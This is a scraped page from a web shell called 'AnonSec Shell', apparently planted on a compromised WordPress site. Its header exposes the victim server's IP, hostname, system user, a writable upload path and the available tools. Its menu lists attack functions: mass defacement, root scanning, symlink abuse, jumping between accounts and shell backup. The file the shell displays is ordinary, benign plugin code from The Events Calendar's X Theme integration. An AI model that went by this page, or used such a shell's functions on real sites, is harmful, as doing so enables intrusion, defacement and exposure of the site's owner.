. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.168   [ Reverse IP ]
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : eticmes ( 123698)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/eticmes/www/wp-content/plugins/the-events-calendar/src/Tribe/Integrations/X_Theme/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/eticmes/www/wp-content/plugins/the-events-calendar/src/Tribe/Integrations/X_Theme/X_Theme.php
<?php
/**
 * Class Tribe__Events__Integrations__X_Theme__X_Theme
 *
 * Handles the integration between The Events Calendar plugin and
 * the X Theme.
 *
 * This class is meant to be an entry point hooking specialized classes and not
 * a logic hub per se.
 */
class Tribe__Events__Integrations__X_Theme__X_Theme {

	/**
	 * @var Tribe__Events__Integrations__X_Theme__X_Theme
	 */
	protected static $instance;

	/**
	 * @return Tribe__Events__Integrations__X_Theme__X_Theme
	 */
	public static function instance() {
		if ( empty( self::$instance ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Hooks the filters and actions needed for this integration to work.
	 */
	public function hook() {
		add_filter( 'template_include', [ $this, 'filter_template_include' ] );
		add_filter( 'x_get_view', [ $this, 'force_full_content' ], 10, 4 );
	}

	/**
	 * Tries to "catch" the loading of X theme content templates that render a highly-filtered
	 * excerpt view instead of full content, which often ruins the display of our Month View etc.
	 *
	 * @since 4.6.2
	 * @see x_get_view()
	 *
	 * @return array $view An array of X-theme view data with the template file and render options.
	 */
	public function force_full_content( $view, $directory, $file_base, $file_extension ) {

		// Let users disable this forceful override behavior if they'd like.
		if ( ! apply_filters( 'tribe_events_x_theme_force_full_content', true ) ) {
			return $view;
		}

		// Don't proceed if we're not on a main Tribe view or if $view isn't fully fleshed-out.
		if ( ! $this->should_run_tribe_overrides() || ! is_array( $view ) ) {
			return $view;
		}

		// Don't proceed if we're not dealing with an X-theme view that doesn't have these params.
		if ( ! isset( $view['base'] ) || ! isset( $view['extension'] ) ) {
			return $view;
		}

		// Only interrupt the normal process if we're dealing with an excerpted "content" template.
		if (
			'framework/views/global/_content' === $view['base']
			&& 'the-excerpt' === $view['extension']
		) {
			remove_filter( 'x_get_view', [ $this, 'force_full_content' ], 10, 4 );

			// Grab the global "content" template with full content.
			$view = x_get_view( 'global', '_content', 'the-content' );

			add_filter( 'x_get_view', [ $this, 'force_full_content' ], 10, 4 );
		}

		return $view;
	}

	/**
	 * Use the filter as an action to remove further filtering on X theme side
	 * if the query is for our content.
	 *
	 * @param string $template
	 *
	 * @return string $template
	 */
	public function filter_template_include( $template ) {

		if ( $this->should_run_tribe_overrides() ) {
			remove_filter( 'template_include', 'x_force_template_override', 99 );
		}

		return $template;
	}

	/**
	 * Checks if we're in a "main" calendar view, like Month View etc., where we want to apply our
	 * various integration filters and overrides.
	 *
	 * @since 4.6.2
	 *
	 * @return boolean
	 */
	public function should_run_tribe_overrides() {

		/** @var WP_Query $wp_query */
		if ( ! $wp_query = tribe_get_global_query_object() ) {
			return;
		}

		return $wp_query->is_main_query()
			   && empty( $wp_query->tribe_is_multi_posttype )
			   && ! empty( $wp_query->tribe_is_event_query );
	}
}

Anon7 - 2022
AnonSec Team